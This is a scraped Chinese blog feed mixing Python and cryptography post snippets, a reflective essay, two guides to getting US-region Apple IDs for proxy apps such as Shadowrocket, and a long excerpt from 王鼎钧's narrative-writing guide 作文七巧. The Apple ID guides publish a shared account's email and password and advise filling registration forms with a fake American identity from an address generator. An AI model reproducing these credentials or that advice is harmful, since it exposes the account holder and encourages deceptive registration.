- 博客 Jiajun的编程随想 2019-05-29 08:00:00《Python中的新式类(new style class)和老式类(old style class)》Python2.3之前，使用的是老式继承，直接看例子：```python...
- 博客 二丫讲梵 2019-05-27 05:03:39如要阅读全文，点击标题跳转。有一种人，他生活简简单单，两三身衣服就能够穿他个好几年，而且内心当中从来不觉得这是一种寒酸，因为真正的体面，永远是一种精神上的修炼。有一种人，他做事妥善圆满，纵然在心中怀揣着天大的梦，也永远，愿意付出全部的心力，将眼前一件件小事一一做完，这么做也许不是为了大梦的实现，而是为了在以后的岁月当中，不会再在小事之上翻船。有一种人，他工作似乎不是为了赚钱（当然，这并不代表他自身已经特别有钱），从来都担心自己做的不够多不够好，而不会去揣测，是否做了太多，获得的太少。老子十三章中有言：“吾所以有大患者，为吾有身，及吾无身，吾有何患。”当一个人的敌人是自己的肉身时，那么他已经在精神层面超越了自己，而唯有先在精神层面超越自己的人，才能够超越一切，无往不胜。我想，这种人在现实生活中可能很少出现，但我愿意以此为目标，见贤思齐，争取成为这样一种人的同行者。
- 博客 Jiajun的编程随想 2019-05-18 08:00:00《Python Requests 简明教程》[requests](https://2.python-requests.org/en/master/) 是Python中一个非常出名的库，它极大的简化了Python中进行HTTP请求的流程，我们来看一个简单的例子...
- 博客 Jiajun的编程随想 2019-05-15 08:00:00《密码技术简明教程(三)：证书和TLS》在 [第一篇](https://jiajunhuang.com/articles/2019_05_12-crypto.md.html) 和 [第二篇](https://jiajunhuang.com/articles/2019_05_14-crypto_part2.md.html) 中我们学到了使用对称加密加密信息，非对称加密配送密钥，使用散列确认文件没有被篡改，使用消息认证码确保知晓密码的才能发送消息，使用数字签名来证明消息的发送者...
- 博客 庭说 2019-05-15 00:00:00
在 Apple 的严厉打击下，此法逐渐失效。自行注册 Apple ID，才是终极且安全的解决办法。
共享的 Apple ID 只能用于登录 App Store ❗️ 千万不要在 iCloud 登录 ❗️ 所以请严格按照以下路径操作。否则设备被锁，申诉无门，Tim Cook 也救不了你的 iPhone。
获取 Apple ID
因为多人共用会触发风控，所以多试几个 Apple ID。当找到一个可用的 Apple ID 后，把它记在备忘录或者微信收藏，方便日后调用。
2021-08-16 亲测可用：
账号：
s3hhe8le@icloud.com
密码：TZXBtzxb007GitHub
- 打开在 GitHub。
- 输入 Apple ID、苹果账号、小火箭 和 Shadowrocket 等关键词，搜索。
Sort（排序）:Recently updated（最近更新）。
以下是我找到的一些资源：
- openwrt-ssr：2020-04-17 亲测可用。
- shadowrocketHelp
- insdown
Website
- 苹果帝：2020-12-18 亲测可用。
- 小火箭账号 の 分享站：未测试。
- Get Shadowrocket：未测试。
- 小火箭账号 の 分享站：未测试。
Telegram
- Shadowrocket 小火箭苹果 ID 免费分享（@shadowrocketid）：较难找到可用 Apple ID。
- 人人翻墙，则墙自倒！
切换 Apple ID
iPhone / iPad 上可以使用不同的账户登录 iCloud 和 App Store（应用商店），而共享的 Apple ID 只能用于 App Store，所以请严格按照以下路径操作（全程未出现 iCloud 字样）：
- 打开 iPhone。
设置-iTunes Store 与 App Store，点击顶部的Apple ID: ****@***-退出登录（哪里退出，哪里登录）。- 切换到免费的共享 Apple ID。
安装番茄 App
打开 App Store（苹果应用商店），搜索并下载番茄 App，例如：
- Potatso Lite：免费，配置简单，功能简陋
- Shadowrocket：付费，但是共享 Apple ID 的主人已经给你买单了
退出 Apple ID
安装好番茄 App 后，退出共享 Apple ID，切换回自己的 Apple ID。
- 博客 庭说 2019-05-15 00:00:00
当你在中国区的 App Store 找不到想要的 app 时，例如 Skype、Shadowrocket、Quantumult 和 Surge 等，才会知道美（国）区 Apple ID 的可贵。
不想折腾的用户：
- 花金钱 购买一个 Apple ID，然后修改邮箱和密保
- 花时间寻找 免费的共享美区 Apple ID
准备工作
核心思想是伪装成在美国上网的美国人：
- 1 个美国 IP
- 1 个美国地址
- 借助 地址生成器 获得一个虚假的美国人信息
- 优选免税州（State）：Delaware / Montana / New Hampshire / Oregon。并把这个地址备份在记事本，在以后数字移民的过程中，可能会再次用得上，例如 注册美国区的 PayPal + 绑定美国区的 Apple ID
- 1 个未注册过 Apple ID 的 email
- 1 台安装了 iTunes 的设备（任选其一）
- Windows 电脑需要下载并安装 iTunes
- MacBook 电脑自带 iTunes
开始注册
获取美国 IP
- 打开迷雾通
- 注册并登录账号
- 选择一条美国线路并开启
创建 Apple ID
- 在 iTunes 上找到的
账户-登录-创建新 Apple ID 电子邮件：最好全球通用的 Email密码：8 个字符以上，包含数字，大写字母和小写字母国家/地区：美国（United States），然后界面语言会自动切换成英文Continue（下一步）
Personal Information
假如你叫李狗蛋。
First Name（名）：可以填写中文「狗蛋」、拼音 Goudan，或英文名Last Name（姓）：Li（李）Birthday（生日）：Month（月）- Day（日）- YYYY（年）；解锁账户时要用到，请牢记！Security information（密保问题）：可以填写中文答案；解锁账户时要用到，请牢记！Continue（下一步）
Create Apple ID
Payment Method（付款方式）：None（无）
如果没有出现
None。官网联系 Apple 客服，选择立即与 Apple 支持部门人员通话。，2 分钟之内就会接到客服电话，然后如实回答即可。如果你的支付方式里没有 “无” 这个选项，不要惊慌，可能是苹果通过网络环境判断你不在美国。你可以拨打大陆地区的 Apple 服务热线，找人工客服阐述你遇到的问题 —— 注册美区账号无法成功绑定支付方式，他们会非常热情地配合你解决问题，并由专员在后台进行操作，让你的支付方式里有 “无” 这一选项。当然如果你事先准备了美国的云梯，顺利的话是会有 “无” 的，没有也没关系。by iRex
Billing Address
借助 地址生成器 获得一个虚假的美国人信息。
Street（街道）Apt., suite, bldg.：可为空City（城市） - 州 -ZIP（邮编）-United StatesArea code（电话号码前 3 位）-Phone（电话号码后 7 位）Continue（下一步）
Verify Your Apple ID
- 输入邮箱验证码，并
Verify（验证）
完成注册
- ❗ 最后一定要记得点
Continue，不然功亏一篑！ - 然后将代理软件切换回智能分流模式（PAC）
下载 App
- 自己注册的 Apple ID 可以用于登录
iCloud，但我还是推荐你只在App Store登录。- 依次选择
设置-iTunes Store 与 App Store，点击顶部的Apple ID: ****@***-退出登录，切换到刚刚注册好的美区 Apple ID（哪里退出，哪里登录）。 - 如果需要验证 Phone Number，填写中国的手机号码也可以通过。
- 依次选择
- 现在，你可以尽情下载美区 App Store 里的 app。
- 安装完成之后，你有 2 个选择
- 切换回以前 Apple ID
- 把美区 Apple ID 作为主账号（在 iCloud 也登录）以躲避当局的审查。但是 app 是跟着 ID 走的，当时用哪个 ID 下载，升级 app 时也要用那个 ID，所以如果不想使用旧版 app，请使用新的非中国区 Apple ID 卸载重装。
关联阅读
- 图文教程：如何注册并使用美区 Apple ID - 魅影极速（方法与本文略有不同）
- 文字教程：如何使用美区 Apple ID 购买付费 App - TARESKY
- 博客 Jiajun的编程随想 2019-05-14 08:00:00《密码技术简明教程(二)：散列、消息认证码和数字签名》[上一篇](https://jiajunhuang.com/articles/2019_05_12-crypto.md.html) 我们讲到了对称加密和非对称加密，利用这两个技术我们确保了信息传输的安全性。但是如果有这么一种情况，`Alice` 下班之后忘记把电脑锁屏，第二天来的时候 `Alice` 如何确定自己的文件是否被篡改过呢？...
- 博客 Jiajun的编程随想 2019-05-14 08:00:00《SEO学习笔记》> https://support.google.com/webmasters/answer/7451184SEO的全称是Search Engine Optimization，就是搜索引擎结果优化。目的就是让你的网站在搜索引擎的返回结果中靠前。现在的搜索引擎...
- 博客 庭说 2019-05-13 00:00:00
王鼎钧先生以极其幽默的笔法，将写作技巧解析得深入浅出、逻辑分明。不仅是中学生必备读物，对任何追求中文之美的人，也是一本难得的写作指南。
前言
记叙文记人记物记地记事，使人知抒情文写的是情，使人感议论文发表意见、提出主张，使人信
提示：
- 本文做了一些轻微的删减（文末的习题）和改动（加了小标题），强烈建议购买 纸质版的《作文七巧》通篇阅读。
- 小晨猪在幕布也对此书做了大纲笔记
记叙的技巧
我们用记叙的文体记人记物记地记事。我们记下我们所发现的动静常变今昔表里。我们赖视觉听觉触觉味觉嗅觉及心灵思想发现它们。
直叙
发现的过程占一段时间我们先发现什么，后发现什么，有个先后的次序。文章按着这个次序写，就是直叙。例如陶渊明的《桃花源记》和下面这个片段：
那天水来得太快。我正坐在桌子旁边写文章，觉得鞋子湿透了，回头一看，水正在把我的脸盆冲到门外去。我赶快站起来穿上衣，水已浸到膝盖。当时来不及收拾任何东西，赶快往外跑，跑到后面的大楼上避水。在楼上，可以看见我的箱子从后面漂出来，先是一只，不久是第二只。水涨到九尺深，过了两天才退。水退以后，回到家里，什么都没有了：十年的藏书完了，十年的剪报完了，收音机、电唱机、咖啡壶这些电器最怕浸水，浸了水不如破铜烂铁。内衣、皮鞋，都不知道那里去了。你问我损失了多少东西，我现在也不知道。昨天晚上想到今天得早起，用得着闹钟，可是闹钟没有了，这才想起来还损失了一个闹钟。究竟损失了多少东西，得慢慢的发现。
触觉鞋子湿透视觉面盆漂浮触觉水涨到膝盖视觉水冲走箱子视觉水退视觉十年的藏书完了心灵思想损失了闹钟
几时用直叙
有起落，有详略，有表里，就用直叙。没有这些条件又怎么办呢？这就得另外想办法补救，这就要在直叙之外另有叙述的办法。
有起落
采直叙手法最忌的就是 “平铺”，平铺就没有起落。“起落” 是从读者反应的强弱产生的。“平铺” 的缺点就是读者的反应一直很弱，弱到 “不起涟漪”，弄成死水无波：
当年大专联考放榜之日，广播电台播报录取名单，考生的家人必定按时收听。名单很长，播报费时颇久，也许要听到最后才听到自己要听的名字，（什或终于没听到要听的名字），所以 “听榜” 的人得准备忍受折磨。有一位家长为了听榜，事先买来茶叶、瓜子、糖果、点心，劝告全家放松情绪提起精神听到最后一人，谁知板凳还未坐热，开水还没烧开，收音机里劈头报出 “楚晋材！” 就是他家的长子，考取了第一志愿！全家沸腾，茶也没人喝了，瓜子也没人吃了。三姨五舅赶来道贺，听那收音机还在响，伸手替他们关了，那些名字听不听都无关紧要……
文章一开始是大家准备用很长的时间听榜，而且不免挂虑到底考上了第几志愿——那年月一个考生可以填八十多个志愿！谁知报榜的人一下子就报出来大家要听的名字，这是 “起”。大家听到了这个名字，高兴了一阵子，然后发觉下面有很多时间没事可做，这段时间本是准备听榜的，事先把“杂务”都推开了，现在不听榜，好像生命出现了空白，这是“落”。三舅或五姨突然提议他请大家吃宵夜，算是庆祝，他挑了一家极好的馆子，那里的菜很有名，大家还没尝过，这又是“起”。大家的兴致很高，惟有一个人相反，他说他不去，他要睡觉。这人就是考上了第一志愿的那个大孩子，考前考后一直吃不好、睡不好，现在一块石头落了地，突然觉得十分疲倦，钻进卧房再也不肯出来。没有他，好比婚礼中没有新娘，只得改一天再说了。这又是“落”。
有详略
记叙文除了不可 “平铺”，还有一戒，是不可“平均”。记一天的生活，把一天分成早、午、晚、夜四个时段，每个时段写上两百字，但早晨做错了一件事，得到一个教训，写了两百字，夜间只是睡眠，连恶梦也没做，也写两百字，这就太平均了。我们常常听见人家批评一篇文章写得不好，说那篇文章是“记流水账”，多半因为那篇文章犯了“平均” 的毛病。账本上的记载是很平均的，一块钱可以占一栏，一万元也占一栏，每一栏的大小相同。所以看账本是一件枯燥无味的事情，除非你是会计专家。
作文在下笔之前要考虑安排什么地方写得详细一点，什么地方写得简略一点，有简有繁。我在前面把 “桃花源记” 里面的事件，按照发展的时序列出来，除了南阳刘子骥的 “尾声”，共十一条，陶渊明写山中人的生活状况用墨最多，连心理都写到了，写渔人向太守报告写得最简单，只有“诣太守，说如此” 六个字。试想在那个年代，乡下渔夫想面见太守，要费多少周折，太守听了渔人的报告，也必定加上一番盘问，这些材料都割舍了。文章开头写那片桃花写得很迷人，文章结尾时只说渔人“遂迷不复得路”，斩钉截铁的断了希望，那么大一片桃林再也没有提到。在十一条之中有几条写得详细，有几条写得简略，详有详的道理，简有简的道理。
我们试以某一次结婚典礼为习题。结婚典礼的程序不必列举，我们注意的是，那一项值得细写？那一项应略写？那一项可以根本不写？除非另有特殊理由，来宾签名通常可以不写。除非另有特殊理由，婚礼的中心人物是新娘，当新娘披纱捧花踏着红毯缓步向前时，写她的动、静（真个静如处子），写她的今、昔（盛妆的新娘比平时 “粗服” 分外艳丽），写你眼中的常、变（捧花是“常”，花球的种类是“变”；披纱是“常”，礼服的款式是“变”）写你眼中的表、里（一面恋恋不舍她的少女时代，一面兴奋的迎接婚姻的甜蜜）。
重要性仅次于新娘的，当然是新郎。他平时不拘小节，今日十分整洁（今、昔），他呼吸迫促，却竭力镇定从容（表、里），他照例手中握着一双白手套，却不知在什么时候只剩一只了，他竟完全没有发觉（常、变）。除非另有特殊的理由，我们会详细写他。
什么是 “另有特殊的理由”？这是说，来宾中间突来了一个名人，他这人十分忙碌，简直行色匆匆，他的自信心又特别强，签下的名字比别人大三倍。这倒颇能增加婚礼的喜气。这就值得写了。有一次我参加一个婚礼，新娘腿部残障，不良于行，由新郎搀着一同走到证婚人面前，新郎不让伴娘搀她，一定要亲手搀来搀去，而新郎是英俊的，健壮的，温柔的。在这个婚礼上，新郎恐是我们笔下第一个人物了。
通常证婚人在婚礼上并不受大众注意，可是有例外，如果他在致词时确实说了几句有益世道人心的警语，我们不写出来未免可惜。在战争的年代发生过这样的事：婚礼进行到一半，证婚人、介绍人和来宾都逃走了，因为战争来了。新娘得洗掉化妆换穿旧衣再逃，新郎陪着她，就在他们手忙脚乱的时候，一个将军走进来喝问原由。将军替他们证了婚，发给他们通行证。这时，焦点人物就是证婚人了。
取材有主从，所以文笔有繁简，不宜平均。
有表里
作记叙文不可平铺，不可平均，也最好做到不平滑。不平滑，文章有隐有显，才有表有里。“表里”的意思是，我们通常看事只能看见一面，就像看戏，只看见戏台上张飞对刘备很恭敬，没看见他俩刚刚在后台互相指着鼻子叫骂。
- 口袋里装着成叠的大钞、和皮夹里只有车票零钱的人，单看衣冠也许难以辨别，但是其中之一听见了 “当心扒手” 的警告会伸手摸摸口袋，于是泄漏了 “里一层” 的玄机。
- 有一个家庭主妇，婚姻似乎十分美满，后来她不幸得了重病，终至不起，临终时低声喊一个人的名字，显然是个男人的名字，那人不是她的丈夫，不是她的儿子，不是她的哥哥，谁也不认识那个人，只有年老的奶妈知道那个名字是谁，她在喊初恋的情人！她并不像一般人所想的快乐。
- 回头看那个 “听榜” 的例子：当时全家欣喜若狂，只有那个考取了的人倒头便睡，他在考前考后受了多少折磨啊，这是 “里一层”。或者，他没睡，他的爸爸心满意足的问：“儿子，你想要什么做奖品，尽管说！” 做儿子的没精打采的说：“爸，别的我也不要，你把我的画架画笔还给我吧！我想好好的画几张风景。”原来他的兴趣在画，父母却逼着他念物理。
直叙的经典之作
《桃花源记》有起落，有略详，也有表里。
先说起落。文章开头，“晋太原中武陵人捕鱼为业”，是很平淡的，渔人撑着船沿溪而行，也没什么特别。但是 “忽逢桃花林”，桃林的面积那么大，桃花开得那么茂盛，景象迷丽烂漫，似幻似真，读者的反应加强了，文章有了“起” 势。
渔人一直往前走，想看看桃林究竟有多大。“起”势一直维持到桃林尽头，“落”下来。落到水源，山洞。但是山洞里有光，渔人钻进去了，洞很深，也很狭窄。文势又 “起”。以后写渔人发现了桃源；一直在“起” 势之中，但起与落原从比较而来，起势之中仍然高低相间，错落不平。渔人先看见农田和农作物，听见鸡鸣狗吠。然后高上去，看见小孩子。再高上去，看见许多成人。这些人见了渔人反倒吓了一跳。文势稍稍下降。大家接渔人回家吃饭，态度十分友好，并且说了 “知心话”。山中人说他们的祖先是“避秦” 来此。文势上升。他们根本不知道秦朝已经亡了。渔人告诉他们，秦后面是汉朝，汉朝也亡了。汉之后有魏，而现在，是晋。山中人听见了这些沧桑变迁，同声感叹。这些都足以使读者产生很强的反应。
这最重要的一段文字写完之后，渔人辞别；是 “落”。山中人请他保守秘密，是落中之“起”。他找到自己的船，是“小起” 之后的又一次“落”，但他一路上做记号，显然有所图谋，是小落之后的又一次“起”。下面渔人去见太守报告发现，太守派人寻访桃源，步步上扬，是一次“大起”，但是渔人怎么也找不到留下的记号，无法再入桃源，是一次“大落”。
文章尚有尾声。南阳有个刘子骥，是一位高尚之士，他听说山中有个世外桃源，十分向往，决定前往寻访，这又是 “起”。但是他没有找到，（或者没来得及去找）就病故了，以后再没有人打听桃源在那里。像舞台上的大慕缓缓降下来，文章结束了。
“桃花源记”是一篇短文，居然有这么多起伏，这是大文豪才办得到的事情，我们作文，如能有一起一落（或者最后再加一起），就是得到诀窍了。同时我们要明白，文章写到 “桃花源记” 这般水准，你读了有你的感受，我读了有我的反应，彼此并不一致，因之，你认为是 “起” 的地方我可能认为是“落”，彼此找到的起伏线并不相同。
例如，前面说山中人轮流款待渔夫是 “落”，也许不然。山中人看见渔人闯进来，他们安静了几百年的社会突然产生了危机，这个渔人可能把外人引进来，破坏了他们的幸福，他们虽然和和气气的陪渔人吃饭谈天，内心其实是很焦虑的。他们最后叮嘱渔人“不足为外人道也”，就露出“里一层” 来，杀鸡为黍都是对渔人“行贿”！那实在是“起”，不是“落”。
再看文章结尾，刘子骥有志未成，病死了，以后再没有人打听桃花源在那里了，我说是 “落”，你也许认为是“起”。世界上“高尚之士” 如此之少，人人只能在浊世中打滚，不知道超脱，偶尔有个高尚之士，又赍志以殁，这是多深多大的感慨，这当然可以说是“起”。
由于感应因人而异，起落没有标准，很多人反对分析文章中的起落，认为毫无意义。诚然，起落云云是不科学的，没有共同的标准，但是它又何必有共同的标准呢？总之：
它有起有落；
你认为起落在何处就在何处；
你写文章时也注意起落。
这就行了。
“桃花源记” 的 “详略”，前面大致谈过，现在且说 “表里”。这篇文章是通过渔人的经历来叙写的，渔人眼中的桃源是一个表层，叙写到山中人叮嘱渔人保守秘密的时候露出少许里层来。山中人的想法似乎是：虽然已经改朝换代，还是不受外面的官府管辖治理比较好，他们大概是对政治澈底失望了。他们既不喜欢那社会，又不能改变那社会，只有继续躲起来。渔人在山中停留的那几天，山中人也许秘密的开过好几次会吧，会议的结论大概是，他们不希望再得到什么，但求不失去现在已有的。——这些，你可以自由想像。
“不足为外人道也”，山中人也太老实了，自己先把身世和盘托出，再求人家保守秘密，凭什么相信渔人能遵守诺言？难道凭那几天的酒饭？他们深知人心的俗恶什至诡诈才入山惟恐不深呵。不错，他们并未忘记历史经验，只是反应迟缓了一点，等到醒悟过来，就用极笨的方法补救，干脆把渔人出入的山洞堵死了。他们总要不眠不休汗流浃背干上几天吧，老实人都这样，整天忙着填补聪明人留下的坑洞，以免自己掉下去。这就难怪他们要躲得远远的了。——这些，你可以自由推论。
“里层” 就是引起读者的想像和推论。
有人读了 “桃花源记”，认为山中住的不是人，是一群神仙，那迷离恍忽的桃林，正好是仙凡的分界线。渔人跑去报告太守是俗不可耐的举动，他从此坠入尘寰，再也与桃源仙境无缘。他之“迷不得路”，既不是山中人消灭了标志，也不是因为“春来遍是桃花水”，而是随着渔人的一念之转，通往桃源的路自动消失了。这个说法是错误的吗？也许是吧，要知道，也只有“桃花源记” 这等水准的文章才会引发这样的 “错误” 呢。
读了 “桃花源记”，回头再去读那一段记述水灾的文章，文章和文章之间的差别实在很大。
读了那一段记述水灾的文章，再读下面的文字呢：
昨天是星期天，天气狠好，我们去逛ＸＸ花园。早上九点，吃过了早饭去等公共汽车，等了一个小时才挤上去。十一点到公园，先在门口排队买票。进园以后，看见杜鹃花开得很茂盛，红的黄的白的都有。杜鹃花园旁边是玫瑰花园，也开得很漂亮，很多人在那儿照相。往前走，满地细细碎碎的小花，不知道叫什么名字。再往前走，转一个弯儿，左边是一个池塘，铺满了荷叶，右边是一个花架，花架上头爬满了花，花架底下有石桌石凳，有几个老人坐在里面休息。池塘的尽头有龙舌，龙柏，一棵一棵绿油油的。有个人在公园那一头卖包子，很多人围着他买，我也走过去买了两个吃，滋味不错，再买一个。三个包子吃下去，觉得口渴，就到公园外面去找买汽水的。
同是直叙，这一篇 “游园” 又比那篇 “避水” 差得多。文章原来分成许多等级！
你现在是在那一级？作好了拾级而上的准备了吗？
倒叙
一般而论，记叙文讲求真实，不尚虚构。“开学记”，记本校开学那天的情况；“远足记”，记上个星期天本班郊游的见闻；“我的家”，教师想藉作文了解你的生活；“我爱读的书”，教师想藉作文了解你的知识。
拿 “开学记” 来说吧，我们可以先把材料一条一条记下来：
- 看到的：
- 听到的：
- 嗅到的：
- 吃到的：
- 碰触到的：
- 想到的：
我们要藉着这些材料，写出 “开学” 的动、静、今、昔、表、里、常、变。即使不能全写，也要把其中一部份写出来。原则上，我们照时间的顺序写。我们既希望忠于事实，也希望文章可读。若想两者兼备，得事实本身具备构成好文章的条件；也就是说，得有婀娜的身材，才有曲线美好的旗袍。
倘若那事实本身不能支持我们的写作，怎么办呢？把想像放在第一位的文学创作可能索性不管实情实况，只求文章好，怎么精采动人就怎么写。他照着理想的尺寸裁制一件旗袍，不管眼前的人合不合身。我们也许不能这样办。某一所著名的中学里发生过这样的事：老师出了个题目，要大家写 “我的母亲”。他在一个女孩子的作文簿上读到 “我的母亲改嫁过两次，我现在既没有父爱也没有母爱”。教师恻然心动，专诚去访问那位母亲，才知道作文簿里的曲折全是虚构的。母亲发觉女儿瞎编身世，又惊又痛，跑到学校里去更正，在教务处放声大哭起来。
我们只能在 “忠于事实” 的原则之下动一点小小的手脚。**也许，我们只要把时间顺序更动一下，把先发生的事放在后面，后发生的事移到前面，文章立刻就出现精采。**例如，“如果秀英肯嫁给我，我要结婚了。”是一句很平淡的话。倘若倒转过来：
我要结婚了！——如果秀英肯嫁给我。
就有明显的起落。“我要结婚了！” 肯定的口吻，突然的宣布，是 “起”。下面紧接着假设，原来八字还没一撇呢，是 “落”，可是下面无声有声，你是觉得这人鲁莽得可笑呢，还是痴情可悯？这又是 “起”。
语文引起的反应有时是很 “奇怪” 的。有一个普遍流传而不明出处的故事说，某君问他的牧师 “祈祷的时候可不可以抽烟？” 牧师坚决表示不可。某君接着问：“抽烟的时候可不可祷告？”牧师的回答却是 “可以！” 反正是一面祷告一面抽烟，何以得到不同的判决？我们可以体会，“祈祷的时候可不可以抽烟？”祈祷在先，抽烟在后，牧师认为开始祈祷时既未抽烟，怎可中途羼入？那不是太不虔诚太不专心了吗？“抽烟的时候可不可以祈祷？”抽烟在先，祈祷在后，心不在“烟”，这时不专心反而是好现象。
文章，先出现那个字，后出现那个字；先告诉读者那件事，后告诉读者那件事，颇有讲究。我们先看见 “前门进虎”，想从后门逃走，纵是“后门进狼”，还可以冲杀出去，狼比虎好对付一些；如果先是“后门进狼”，向前门退却，不幸又“前门进虎”，岂不陷入了绝境？“天崩地裂”，天崩的时候人还可以伏在地上，或是钻进山洞里，然而地又裂开了，没有希望了，其间有过挣扎；“地裂天崩”，地裂开了，人掉下去了，天崩与否已是无关了，似乎就不像“天崩地裂” 那么恐怖。诸如此类的例子很多。
李后主说 “春花秋月何时了”，没说“秋月春花何时了”，恐怕不只是声韵上的理由吧。由秋月而春花，是由寂凉而热闹，由春花而秋月，是由绚烂而苍白。李后主先为人君，后为臣虏，当然是“春花秋月” 才切合。东坡说“江上之清风，山间之明月”，不说“山间之明月，江上之清风”，他说这句话的时候是游江，是在船上，由江风到山月，视界提高扩大，是“正三角形”；由山月到江风，视界缩小，是“倒三角形”。
这是一件极其复杂的事情，简直可以说，人的心灵有多复杂，这事就多复杂。我们现在不能深究，且先万中取一，锻炼一种功夫，必要时改变记叙的时间顺序；以补救直叙的 “平铺” 之弊。这就是：后面发生的事移到前面来写，前面发生的事移到后面再写。
把整件事倒过来写
传述民间故事的人常常使用这个方法。我听说有个县太爷升堂问案，案情是妻子告丈夫，因为丈夫打伤了太太。为什么要打太太？因为 “她毁坏了我的全部家产”。说来可笑，所谓 “全部家产”，只是一枚鸡蛋。妻子为什么要摔破那个鸡蛋呢？因为丈夫要娶小老婆，丈夫对她说一枚鸡蛋可以发家，蛋生鸡、鸡生蛋、蛋再生鸡，累积财富买猪，卖猪买牛，卖牛买田造屋，那时成了富翁，不能只有一个太太。此事的时间顺序是：
- 丈夫提出 “一枚鸡蛋兴家计划”。
- 丈夫说发财后要娶妾。
- 妻子怒摔鸡蛋。
- 丈夫打伤妻子。
- 妻子告状。
- 县官问案。
说故事的人完全把顺序倒转过来。我不知道县官怎样判定本案的曲直，想必他在判决之前先要笑起来吧。
另一个故事是，大家在村庄外头看 “野台子” 戏，看着看着，忽然李大娘推了张大嫂一把：“你怎么抱着南瓜来看戏啊？”那完全生活在剧情中的张大嫂这才回到现实，大叫一声“我的孩子呢”？她本来是抱着孩子赶到戏台前面的啊。既而一想，跑过南瓜地的时候曾被瓜秧绊倒摔了一跤，孩子一定还在瓜田里，于是戏也不看了，瓜也不要了，跑到瓜田里找孩子。东找西找，找不到孩子，找到一个枕头。是了，她正在搂着孩子睡在床上，听见外面锣鼓响，抱起孩子就往外跑，她好久没有机会看戏了！太兴奋了！快中有错，八成抱起来的是枕头，不是孩子。赶紧跑回家去，推门一看，孩子在床上睡得正甜呢。这个故事也是完全倒过来说的，倒着说才这么有趣。
报纸上天天有这样 “倒过来写” 的记叙文。新闻，十之八九用这种写法，新闻记者的专业训练里面有一项就是这种写作技巧。他们倒不是为了有趣。
报纸的版面是像拼七巧版一样用许多新闻拼起来的。拼版的时候，可能发现某一条新闻长了些，占的空间大了些，得把它删短，拼出来的版面才匀称好看。所以，新闻稿多半把事实最重要的部份写在前面，不什重要的写在后面，越往后越不重要。这样要删短就很方便，把最后的一段两段拿掉了，新闻仍然很完整。
新闻要 “新”，时间最近的那一部份往往是最重要的部份。两个明星今天结婚，“结婚” 最重要，他们上个月订婚就比较次要。两个明星今天订婚，“订婚”最重要，他们去年开始恋爱就比较次要。重要的写在前面，次要的写在后面，不正好把时间顺序倒过来吗？
还有，并不是事实发生了就成为新闻，得发展到一定的程度才 “构成” 新闻。以 “桃花源记” 为例吧（姑且假设那是真人真事），渔人出外捕鱼，怎能算是新闻？他发现了一个仿佛有光的山洞，怎能算是新闻？连他在山中住了几天都不能算是新闻，直到他见了太守，报告发现，直到太守派人调查，这才构成新闻。
那么写新闻当然由构成新闻的时候写起，再一层一层补充。
那么时间的顺序就倒过来，后发生的事在前，先发生的事反而在后。
我们可以想像，当太守决定派人前往调查世外桃源时，新闻记者立刻发出如下的新闻：
本郡境内群山之中可能有一群与世隔绝的居民。本郡太守指派了一个三人小组负责进行调查。
太守是根据一个渔夫的报告作此决定。
这个渔夫曾在那 “化外之地” 居住了七天，那里的居民待他狠好。那些人的祖先是在秦代天下大乱的时候搬入山中居住的，几百年来和外界没有任何联系。他们根本不知道秦朝已经亡了，更不知道现在的国号是晋。
这个可称为 “世外桃源” 的地方有肥沃的土地，淳朴的人民，宁静的生活。那里的人并不愿意再回到我们这个大社会里来。
这个 “世外桃源” 是怎么发现的呢？渔人说，他看见一个山洞里仿佛有光，就走进去……
“桃花源记”是不需要倒写的，这只是一个例子，一个极端的例子，说明 “把整个事件倒过来写” 大概是怎么样的写法。
把事件的一部份倒过来写
这种写法最常见。且举一首诗为例，诗短，举例方便。我们谈的是散文，你可以在意念上把它 “译” 成散文：
四月清和雨乍晴，
小溪泛尽却山行；
绿荫不减来时路，
添得黄鹂四五声。
四月，雨后，艳阳高照之下散步、泛舟，回来的路上听见黄鹂叫。黄鹂的叫声是很清脆动听的，叫得夏天很充实，很有朝气。这里有一个问题：黄鹂为什么最后才叫？为什么去时不叫来时叫？是黄鹂的叫声一直有，诗人留到最后才写吗？我想是的。前面已经有雨有晴，有溪有山，还有泛舟有步行，已经很丰富了，若再加上黄鹂就太拥挤了，后面又太空虚了，所以，诗人把它移到后面去了。
这个方法可能把平直的事件处理得有些曲折。参观博物馆那天，你早晨出门，中午回家，看到不少古物，似乎平直。如果你早晨惟恐迟到，匆匆赶车，博物馆里琳琅满目，看完了才忽然想起来早晨没来得及吃早饭，难怪中午肚子这么饿。这就有曲折有起落了，“早餐” 这件极平常的事情，忽然发生了很大的作用，完全因为你把它移到中午。
同样的 “型式” 可以写出不同的文章。也许你不是游博物馆，是看下午六点开演的电影，到了散场时才想起还没有吃晚饭，——本该吃过晚饭再入场的。这部片子的吸引力真大，使你把晚饭忘记了。
“早饭”可以换成别的东西。你利用暑假找了个临时工作，在艺品公司当店员，店里有个小女孩专管打扫清洁，每天擦擦洗洗没个空闲。她一时失手打破了一个花瓶，老板告诉她：“你得赔，用你的工资，这个星期你没有钱可拿了。”小女孩哭起来，她说不把工资拿回家一定要受爸爸的责罚。你心里不忍，替她赔出来。事后自己觉得好笑，——以上都是直叙——你是为了赚学费才打工的，钱还没有赚到，先贴了老本。你的经济状况也不好，父亲也常为了钱发脾气。这些事本来发生在打工之前，现在移到打工之后才写。你用了那个 “忘记早餐” 的模式，你拿 “自己的学费” 和“早餐”代换。每一种型式都可以推广使用而且加上变化。你这篇文章的结尾可以加上感想：帮助别人没有错，自足也是应该，人生的快乐也许就是两者兼顾吧。
假想另一个题材：叔叔家里本来没有狗，星期天去看婶婶，居然添了一只漂亮的狮子狗，家中顿时热闹了许多。你在记述了这只狗的可爱之后，——以上都是直叙，——忽然想起一个问题：这只狗是从那里来的呢？它有个奇异的来历，这就是把先发生的事移到后面来写了。
同样的型式：我家院子里有两棵树，晴天有鸟叫，雨天有淅沥声，夏天有浓阴。可是这两棵树当初是谁栽的呢？
继续推广：学校里有个老校工，胡子都花白了，天天还是摇铃打钟，烧水送茶，他对每个学生都很好，学生都管他叫伯伯。他独身一人，没有家室，在这个学校里服务也有二十年了，那么他以前是做什么的呢？他年轻的时候是怎么样的一个人呢？
把倒叙伪装成直叙
按照一般通行的说法，这颠倒时序的写法叫 “倒叙”，倒叙是使文势变化的基本方法。但是请注意：倒叙毕竟是不自然的，如果读者觉得它违反自然，就不容易接受。所以：“倒叙” 经常伪装成好像也是直叙的样子。
